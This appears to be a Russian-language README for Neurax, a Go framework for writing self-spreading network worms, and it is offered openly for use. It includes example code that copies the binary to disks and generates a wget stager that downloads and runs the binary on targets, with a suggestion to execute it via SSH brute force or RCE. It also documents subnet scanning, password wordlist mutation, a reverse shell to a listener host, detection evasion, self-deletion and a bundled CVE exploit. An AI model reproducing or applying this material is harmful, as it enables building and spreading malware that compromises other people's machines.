neurax

Фреймворк, помогающий в создании самораспространяющегося ПО

Обзор

С помощью Neurax бинарные файлы Golang могут распространяться по LAN/WAN без использования внешних серверов.

Разнообразные параметры конфигурации и командные стейджеры позволяют быстро распространяться в различных беспроводных средах.

Пример кода

package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //Указать порт обслуживания и используемый стейджер
  Nrx.Config.Port = 5555
  Nrx.Config.Stager = "wget"

  //Запустить сервер, который предоставляет текущий бинарный файл в фоновом режиме
  go NeuraxServer()
 
  //Скопировать текущий бинарный файл на все логические диски
  NeuraxDisks()

  //Создать командный стейджер, который должен быть запущен на целевой машине
  //Он загрузит, декодирует и выполнит бинарный файл
  cmd_stager := NeuraxStager()

  /* Теперь вам нужно каким-то образом выполнить команду, сгенерированную выше.
     Вы можете использовать SSH-брутфорс, какую-нибудь RCE или что-то ещё ;> */

}

Новое в версии 2.X (отдельный подпроект)

• Рефакторинг: отказ от подхода, напоминающего фреймворк, в пользу готового бинарного файла
• Универсальный стейджер wget для всех UNIX-целей
• Единый файл конфигурации для настройки поведения червя на лету
• Автоматическое самоудаление через unlinkat(2)
• Пример эксплойта CVE для LinuxKI в дополнение к возможностям сетевого распространения
• JSON-файл конфигурации загружается и обрабатывается
• Минималистичная перезапись сборщика хостов

Новое в версии 2.5

• Опциональное фоновое выполнение бинарного файла второй стадии (N.StagerBg)
• Командный стейджер сохраняет и выполняет в контекстно-локальном пути
• Также удаляет загруженный бинарный файл сразу после успешного выполнения
• Удалён механизм синхронизированного выполнения команд из-за проблем со скоростью/стабильностью. Я придумаю достойную альтернативу к следующему релизу.
• N.NoInfectCheck для отключения проверки, заражён ли хост уже.
• Политика однократного выполнения на целевой машине, обеспечиваемая эксклюзивной файловой блокировкой, размещённой внутри NeuraxServer().
• Добавлена вложенная горутина для обслуживания бинарного файла
• Новый стейджер httrack для Linux
• Закомментированный общий словарь для обхода обнаружения
• Командный стейджер может ждать перед удалением бинарного файла (N.StagerRemovalDelay)

Новое в версии 2.0

• Новые мутаторы словарей + общие пароли по странам
• Импровизированное пассивное сканирование
• Опция .FastScan, делающая активные сканирования немного быстрее
• Словари создаются строго в памяти
• NeuraxScan() принимает функцию обратного вызова вместо канала в качестве аргумента.
• NeuraxScan() сканирует в бесконечном цикле с возможностью установки интервала между каждым сканированием всей подсети/пула целей
• Обратный DNS-запрос для целей, не имеющих формат IP
• Извлечение кандидатов в цели из ARP-кэша
• Возможность сканировать только выбранный список целей + приоритезация конкретных целей (например, шлюзов по умолчанию)
• Возможность указать интерфейс и тайм-аут при использовании пассивного сетевого сканирования.
• Улучшенный командный стейджер (может опционально выполняться с повышенными привилегиями / несколько раз)
• Несколько изменений имён опций
• NeuraxConfig. стало N. (потому что короче писать)
• Функции для случайного выделения памяти + миграции бинарного файла
• Возможность объединять несколько стейджеров в цепочку (например, wget + curl)
• Объём и сложность создаваемого словаря можно легко настроить (с помощью таких опций, как .WordlistExpand)
• Возможность установить время жизни созданного бинарного файла

Список записей конфигурации

Поиск новых целей

Функция NeuraxScan(func(string)) позволяет обнаруживать активные хосты в локальной сети. Единственный аргумент — это функция обратного вызова, которая вызывается в фоновом режиме для каждого активного хоста. Хост считается активным, если у него открыт хотя бы 1 порт, он ещё не заражён и удовлетворяет условиям, указанным в N.

NeuraxScan() работает как бесконечный цикл: она сканирует всю подсеть, указанную в записи конфигурации .Cidr, и когда все хосты просканированы, функция засыпает на интервал, заданный в .ScanInterval.

Заражение дисков

Бинарный файл Neurax не обязательно должен копировать себя по беспроводной сети. Функция NeuraxDisks() копирует текущий бинарный файл (под не подозрительным именем) на все найденные логические диски. Скопированный бинарный файл не выполняется, а просто находится в месте назначения в ожидании запуска. NeuraxDisks() возвращает error, если список дисков не может быть получен или копирование на любой из них невозможно.

Другая функция, NeuraxZIP(num_files int) err, позволяет создать случайно названный zip-архив, содержащий текущий бинарный файл. Он сохраняется в текущем каталоге и содержит до num_files случайных файлов.

NeuraxZIPSelf() просто упаковывает текущий бинарный файл, создавая архив с тем же именем.

Обратные соединения

Интерактивная обратная оболочка может быть установлена с помощью NeuraxReverse(). Она будет получать команды от имени хоста, указанного внутри .ReverseListener в форме "<host>:<port>". Используемый протокол определён в .ReverseProto Если NeuraxOpenComm() была запущена до вызова этой функции, каждая команда будет вести себя, как описано в разделе выше. Если нет, команды будут выполняться локально.

Примечание: эту функцию также следует запускать как горутину, чтобы предотвратить блокировку, вызванную бесконечным циклом приёма.

Очистка

Всякий раз, когда узел получает команду "purge", он пересылает эту команду всем остальным узлам, удаляет себя с хоста и завершает работу. Это поведение также можно инициировать с помощью NeuraxPurge(), выполненной где-то в исходном коде.

Создание словаря

Если выбранный вами вектор распространения основан на каком-либо брутфорсе, полезно подготовить подходящий словарь. Хранение слов в текстовом файле на стороне клиента не очень эффективно, поэтому вы можете мутировать базовый словарь с помощью NeuraxWordlist(...words) []string. Для перестановки заданных слов используйте NeuraxWordlistPermute(..words) []string

Установка времени жизни

Если вы хотите, чтобы ваш бинарный файл удалился через заданное время, используйте NeuraxSetTTL() в начале вашего кода. Эту функцию следует запускать как горутину. Например:

go NeuraxSetTTL("2m")

заставит бинарный файл выполнить NeuraxPurgeSelf() через 2 минуты после начального выполнения.

Использование нескольких стейджеров одновременно

Если вы хотите объединить все доступные для данной платформы стейджеры в цепочку, установите .Stager в "chain".

Перемещение сброшенного бинарного файла

Если вам нужно скопировать бинарный файл после начального выполнения, используйте NeuraxMigrate(path string). Он скопирует бинарный файл по указанному пути, удалит текущий бинарный файл и выполнит вновь перенесённый.

Поддержка этого инструмента

Если вам нравится этот проект и вы хотите видеть его развитие, пожалуйста, рассмотрите возможность небольшого пожертвования :>

>>>>> ПОЖЕРТВОВАТЬ <<<<<

Лицензия

Это программное обеспечение находится под лицензией MIT